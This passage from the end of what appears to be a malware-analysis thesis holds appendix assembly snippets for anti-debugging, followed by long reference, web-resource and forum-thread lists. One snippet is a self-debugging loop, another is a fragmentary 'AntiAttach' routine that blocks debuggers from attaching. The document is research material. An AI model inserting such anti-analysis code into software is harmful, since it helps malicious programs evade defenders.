add esp , 18 h
CLOAK2B
push 0
CLOAK4B
push offset _str
CLOAK4B
push offset _str
CLOAK2B
push 0
CLOAK4B
call MessageBox
CLOAK2B
push 0
CLOAK2B
jmp _end2
180
;---------------------------------------------------------------------------
_seh :
; setting mini - debugger ; -)
push offset procinfo
push offset startinfo
push 0
push 0
push DEBUG_PROCESS
push 0
push 0
push 0
call GetCommandLine
push eax
push 0
call CreateProcess
_dbgloop :
push INFINITE
push offset debugEvt
call WaitForDebugEvent
push DBG_CONTINUE
push debugEvt . dwThreadId
push debugEvt . dwProcessId
call ContinueDebugEvent
jmp _dbgloop
_end : push 0
_end2 : call ExitProcess
end start
181
I Antidebugging (Antiattach)
;
; KaKeeware is proud to present a small piece of code that
; demonstrates how to block usermode debuggers from attaching
; to your process .
;
; Author : Adam Blaszczyk ( c ) 2005
; WWW : http : // www . kakeeware . com
; e - mail : adam [] kakeeware [] com
;
; Feel free to use this source code in your applications , but remember
; that credits are always welcomed : -)
;
; ============================================================
.586
. MODEL FLAT , STDCALL
. data ?
ddOldProtect dd ?
p tr D bg Ui R em o te Br e ak in dd ?
. data
szNTDLL db ’ ntdll . dll ’ , NULL
sz Db gUi Re mot eB rea ki n db ’ DbgUiRemoteBreakin ’ , NULL
182
szAntiCaption db ’ AntiAttach ’ , NULL
szAntiTitleWarning db ’ Gotcha ! You are trying to attach debugger ... ’ , NULL
szAntiTitleInfo db ’ Now ... try to attach debugger
to AntiAttach process . ’ , NULL
. code
Start :
INV GetModuleHandle , OFS szNTDLL
INV GetProcAddress , eax , OFS szDbgUiRemoteBreakin
mov ptrDbgUiRemoteBreakin , eax
ret
END Start
183
J References
References
[1] Pedram Amini. Paimei - reverse engineering framework (presentation).
RECON2006, 2006.
[2] (Several Authors). Virus bulletin: Fighting malware and spam. darknet
monitoring, virus analysis, news and features on peerbot, and email anti-
virus solutions. Virus Bulletin, March 2007.
[3] Piotr Bania. Antidebugging for (m)asses. piotrbania.com.
[4] Piotr Bania. Fighting epo viruses. SecurityFocus, 2005.
[5] Max Berger. Setting up eclipse cdt on windows, linux/unix, mac os x.
Eclipse Wiki, 2005/2006.
[6] Ero Carrera. Introduction to idapython. openRCE.org, 2005.
[7] Ero Carrera. Pe format: A graphical, detailed map showing the structure
of the pe format. OpenRCE, December 2005.
[8] Paul Craig. On pe packing/unpacking and automating the process using
ollydbg scripts.
[9] Paul Craig. Unpacking malware, trojans and worms: Pe packers used in
malicious software. Ruxcon 2006, 2006.
[10] Val Smith Danny Quist. Detecting the presence of virtual machines using
the local data table. offensivecomputing.net.
[11] Matt LaMantia Dawson Dean. The vix api. VMWORLD 2006, 2006.
[12] Matt LeMantia Dawson Dean. Presentation on the vix api. VMWORLD,
2006.
[13] Peter Ferrie. Attacks on virtual machine emulators. Symantec Advanced
Threat Research, 2006.
[14] Gary McGraw Greg Hoglund. Exploiting Software: How to Break Code.
Addison-Wesley, 2004.
[15] Ilfak Guilfanov. An advanced interactive multi-processor disassembler: Ida
pro 3.8x quickstart guide. Datarescue.
[16] Eric Hammersley. Professional VMWare Server. Wrox, 2006.
[17] Eric Hammersley. A quick vmware server vix primer. Codeguru, March 28,
2007.
[18] Amado Hidalgo. Trojan.peacomm: Building a peer-to-peer botnet. Syman-
tec (weblog), 2007.
[19] Thorsten Holz. Chasing botnets. IT-SikkerhetsForum, University of
Mannheim, 2006.
184
[20] Ivo Ivanov. Api hooking revealed. Codeproject.com, 2002.
[21] Cynthia E. Irvine John Scott Robin. Analysis of the intel pentium’s ability
to support a secure virtual machine monitor. VMM Usenix 00, 2000.
[22] Levi Lloyd Ken Chiang. A case study of the rustock rootkit and spam bot.
Sandia National Laboratories, 2007.
[23] Brian Lee. Eclipse project cdt (c/c++) plugin tutorial. Department of
Computer Science, University of Manitoba, Winnipeg, Manitoba, Canada,
2004.
[24] Xiangyang Liu. Start your windows programs from an nt service. The Code
Project, 2000-2007.
[25] Xiangyang Liu. A gui program to configure xyntservice. The Code Project,
2006.
[26] Pedram Amini Michael Sutton, Adam Greene. Fuzzing: Brute Force Vul-
nerability Discovery. Addison-Wesley, June 22, 2007.
[27] David Dagon Robert Edmonds Wenke Lee Paul Royal, Mitch Halpin.
Polyunpack: Automating the hidden-code extraction of unpack-executing
malware. College of Computing, Georgia Institute of Technology, 2006.
[28] Rolf Rolles. Defeating hyperunpackme2 with an ida processor module.
openRCE.org, 2007.
[29] Joanna Rutkowska. Red pill. Invisiblethings, 2004.
[30] Joanna Rutkowska. Subvirting vista kernel for fun and profit. Invisi-
blethings, 2006.
[31] Peter Silberman. Futo. openRCE.org, 2006.
[32] Craig Valli Simon Innes. Honeypots: How do you know when you are inside
one? Edith Cowan University, 2006.
[33] Skywing. Subverting patchguard version 2. Nynaeve.net, 2006.
[34] Peter Szor. The Art of Computer Virus Research and Defense. Symantec
Press, 2005.
[37] Maik Morgenstern Tom Brosch. Runtime packers: The hidden problem?
AV-Test GmbH, 2006.
[38] Danny Quist Val Smith. Hacking malware: Offense is the new defense.
Offensive Computing, 2006.
185
K Sources of information (web resources)
K.1 Communities
openrce.org Open Reverse Code Engineering
offensivecomputing.net Offensive Computing
K.2 Virtualization
vmware.com The global leader in virtual infrastructure software for industry-
standard systems
chitchat.at.infoseek.co.jp/vmware/ VM Back. Very useful information on
the VMware backdoor. Also a good CLI for systems lacking VMware’s
vmrun.
http://www.socal-piggies.org/presentations/benedikt reiter/2007 01 18/present pyvix.py
Python code showing use of pyVIX
download3.vmware.com/vmworld/2006/dvt9520.pdf Presentation on the
VIX API, VMWORLD 2006 (Dawson Dean, Matt LaMantia)
invisiblethings.org Invisiblethings
invisiblethings.org/papers/redpill Anti-VMware, Redpill
www.codeproject.com/system/VmDetect.asp “Detect if your program is
running inside a Virtual Machine”, by lallus
chitchat.at.infoseek.co.jp/vmware/backdoor.html VMWare Backdoor i/o
port
chitchat.at.infoseek.co.jp/vmware/vmtools.html VMtools, a CLI using
the Backdoor
www.offensivecomputing.net/papers/vm.pdf Nopill (D. Quist, Valsmith)
talhatariq.wordpress.com/tag/virtualisation/ The Conscience of a Hacker
www.cs.nps.navy.mil/people/faculty/irvine/publications/2000/VMM-usenix00-0611.pdf
Analysis of the Intel Pentium’s Ability to Support a Secure Virtual Ma-
chine Monitor
sourceforge.net/forum/forum.php?forum id=586310 PyVIX, a python
wrapper of the VMWare VIX API. Contains links to current documenta-
tion and example code.
186
http://pedram.redhive.com/PaiMei/docs/PyDbg/ PyDbg
http://pedram.openrce.org/PaiMei/docs/PAIMEIpstalker flash demo/index.html
PAIMEIpstalker demo. (recommended!)
pedram.redhive.com/process stalking manual/ps api docs/ Process Stalker
API reference (Pedram Amini).
pedram.redhive.com/process stalking manual/ Process Stalker Manual
(Pedram Amini)
www.openrce.org/downloads/details/171 Process Stalker ( Pedram Amini)
www.datarescue.com/idabase/index.htm IDA Pro
http://rr0d.droids-corp.org/ Droids corporation. The makers of Rasta Ring
0 Debugger (RR0D).
http://www.vsj.co.uk/articles/display.asp?id=265 Kernel and remote de-
buggers, Albert Almeida
http://www.dependencywalker.com/ Dependency Walker is a free utility
that scans windows modules, and builds a hierarchical tree diagram of all
dependent modules.
www.kibria.de/frhed.html A free binary file editor for Win 95/98/NT
code.google.com/p/ospy/ oSpy. A tool aiding reverse engineering on the
Windows platform. Created by Ole Andre Vadla Ravnaas.
187
http://www.acsac.org/2006/abstracts/122.html PolyUnpack: Abstract
and info on the authors.
http://www.reversing.be/article.php?story=20050823224144160 Yoda’s
Protector, manually unpacking tutorial
peid.has.it/ PEiD. A PE scanning tool. (Main coders: Jibz, Qwerton, snaker,
xineohP. 3rd Party/Plugin coders: MackT, death, y0da, igNorAMUS,
z0mbie, sexygeek, overflow, Ms-Rem)
www.blackhat.com/presentations/bh-usa-06/BH-US-06-Morgenstern.pdf
Runtime Packers: The Hidden Problem?
upx.sourceforge.net/ UPX, the Ultimate Packer for eXecutables, using NRV
(Not Really Vanished) and LZMA data compression libraries.
188
K.7 Other
http://www.openrce.org/reference library/anti reversing Analysis and
descriptions of anti debugging, disassembly and dumping tricks.
http://pb.specialised.info/ Piotr Bania (home)
twistedmatrix.com/trac/ Twisted Matrix Labs. An event-driven network-
ing engine written in Python and licensed under the MIT license.
http://pb.specialised.info/all/articles/antid.txt Antidebugging for (m)asses
- protecting the env, Piotr Bania
http://www.securityfocus.com/infocus/1841 Fighting EPO Viruses, by
Piotr Bania
http://hades.ds1.agh.edu.pl/w̃oolf/int.2a.KiGetTickCount.txt Int 2Ah
- KiGetTickCount, by ReWolfĤTB.
http://hades.ds1.agh.edu.pl/w̃oolf/int.2d.antidebug.and.code.obfuscation.txt
Int 2Dh debugger detection and code obfuscation, by ReWolfĤTB.
http://www.rewolf.prv.pl RewolfĤTB (home)
www.nynaeve.net Subverting PatchGuard 2 (Skywing)
www.virustotal.com/en/virustotalf.html Virustotal. A free, independent
service that exposes uploaded samples to multiple AV engines.
dkbza.org/pefile pefile is a python module to read and work with binaries of
the PE file format. It can be used to retrieve information stored in the
PE header. Formerly known as pype, it is a python module to read and
work with PE files.
dkbza.org/pydasm A python interface to libdasm
http://bastard.sourceforge.net/libdisasm.html an x86 disassembling C-
library
www.offensivecomputing.net/?q=node/365 Malware Analysis: Nailuj sys
file (ZaiRoN)
www.antirootkit.com/articles/Nailuj-Rootkit-Analysis/index.htm Malware
Analysis: Nailuj sys file (ZaiRoN)
www.codeproject.com/system/hooksys.asp API Hooking Revealed (Ivo
Ivanov)
www.filehippo.com/download ccleaner/ Download site for Crap Cleaner
(from filehippo). A freeware system optimization and privacy tool.
metasploit.com Metasploit. Exploit Development Framework
www.trendsecure.com/portal/en-US/threat analytics/hijackthis.php
Trend Micro’s HijackThis. A free utility that scans windows systems to
find settings that are suspect and can indicate malware or spyware activity.
An excelent tool.
189
cwsandbox.org/ CWSandbox. Behaviour based malware analysis.
norman.com/microsites/nsic/ Norman SandBox Information Center. A
web site that lets you upload malware samples for automatic analysis.
packetstormsecurity.org Packetstorm Security
honeynet.org Honeynet
freemind.sourceforge.net/wiki/index.php/Main Page Free mind mapping
software written in Java.
msdn2.microsoft.com/en-us/library/default.aspx Microsoft Developer Net-
work Library. A resource holding information on Win32 programming API
(and much more).
securityfocus.com/virus SecurityFocus
190
Subverting PatchGuard Version 2 http://nynaeve.net
The Twisted Documentation twistedmatrix.com
Honeypots: How do you know when you are inside one? http://scissec.scis.ecu.edu.au/
wordpress/conference proceedings/2006/forensics/Innes%20 Valli%20-%20Honeypots-
%20How%20do%20you%20know%20 when%20you%20are%20inside%20one.pdf
Fighting EPO Viruses http://www.securityfocus.com/infocus/1841
Antidebugging for (m)asses http://pb.specialised.info/all/articles/antid.txt
Presentation on the VIX API download3.vmware.com/vmworld/2006/dvt9520.pdf
An Advanced Interactive Multi-Processor Disassembler datarescue.com
Detecting the Presence of Virtual Machines Using the Local Data Table
http://www.offensivecomputing.net/files/active/0/vm.pdf
Start Your Windows Programs From An NT Service http://www.codeproject.com/
system/xyntservice.asp
A GUI program to configure XYNTService http://www.codeproject.com/cpp/
XYNTServiceWrapper.asp
PaiMei - Reverse Engineering Framework (Presentation) http://www.openrce.org/
repositories/users/pedram/RECON2006-Amini.zip
Introduction to IDAPython http://dkbza.org/data/Introduction%20to%20IDAPython.pdf
Introduction to IDAPython (modified web version) http://www.openrce.org/articles/full view/11
Attacks on Virtual Machine Emulators http://www.symantec.com/ avcen-
ter/reference/Virtual Machine Threats.pdf
PolyUnpack: Automating the Hidden-Code Extraction of Unpack-Executing Malware
http://www.acsac.org/2006/papers/122.pdf
FUTo http://www.openrce.org/articles/full view/19
Hacking Malware: Offense is the new Defense http://www.offensivecomputing.net/dc14/
valsmith dquist hacking malware us06.pdf
A Case Study of the Rustock Rootkit and Spam Bot http://www.usenix.org/
events/hotbots07/tech/full papers/chiang/chiang.pdf
L Other links
http://nsm.stat.no The Norwegian National Security Authority (NSM)
http://www.vmware.com/products/ws/overview.html VMware Work-
station overview
http://www.vmware.com/support/developer/ VMware Developer Resources
http://www.vmware.com/support/developer/vix-api/index.html VMware
VIX API
191
M Relevant forum threads
http://www.openrce.org/forums/posts/454 From the OpenRCE.org fo-
rum. Thread topic: “VMWare Scripting”. Created on April 26, 2007 10:47
CDT. Discusses using and wrapping vmrun, the vix interface and pyvix
wrapper. Comment by ZuTLe (Lars Haukli) @ April 27, 2007 02:40.23
CDT. This is my most famous post it seems; when I google for pyvix, it
shows up on page 2!
http://www.openrce.org/forums/posts/448 From the OpenRCE.org fo-
rum. Original thread topic: “Beginning Malware Analysis”. Created on
April 19, 2007 22:30 CDT. Starts out discussing malware analysis using
IDA Pro, VMware and OllyDbg. Geared on dynamic analysis, and evolves
into discussing isolation and VM-aware malware. Comment by ZuTLe
(Lars Haukli) @ April 26, 2007 06:22.15 CDT.
http://www.openrce.org/forums/posts/479 From the OpenRCE.org fo-
rum. Thread topic: “Packers detecting VMs and OllyDbg”. Created on
May 13, 2007 19:00 CDT by ZuTLe. A thread in response to W32.Rinbot.BC
- detects VM and Ollydbg’s presence” at Tue, 2007-05-08, at offensivecom-
puting.net. Concerned with Rinbot/Vanbot and its packer: EXECryptor.
http://www.openrce.org/forums/posts/332 From the OpenRCE.org fo-
rum. Thread Topic: “Hook-proofing DLLs”. Created on January 21, 2007
09:06 CST. A general discussion and integrity checking.
http://www.openrce.org/forums/posts/274 From the OpenRCE.org fo-
rum. Thread topic: “Tools for Windows API Monitoring”. Created on
October 30, 2006 22:08 CST. A discussion on several API Monitoring
tools for Windows, and even a way to perform the operation using python.
(last post is on May 25, 2007, so the discussion has been going on for some
time).
192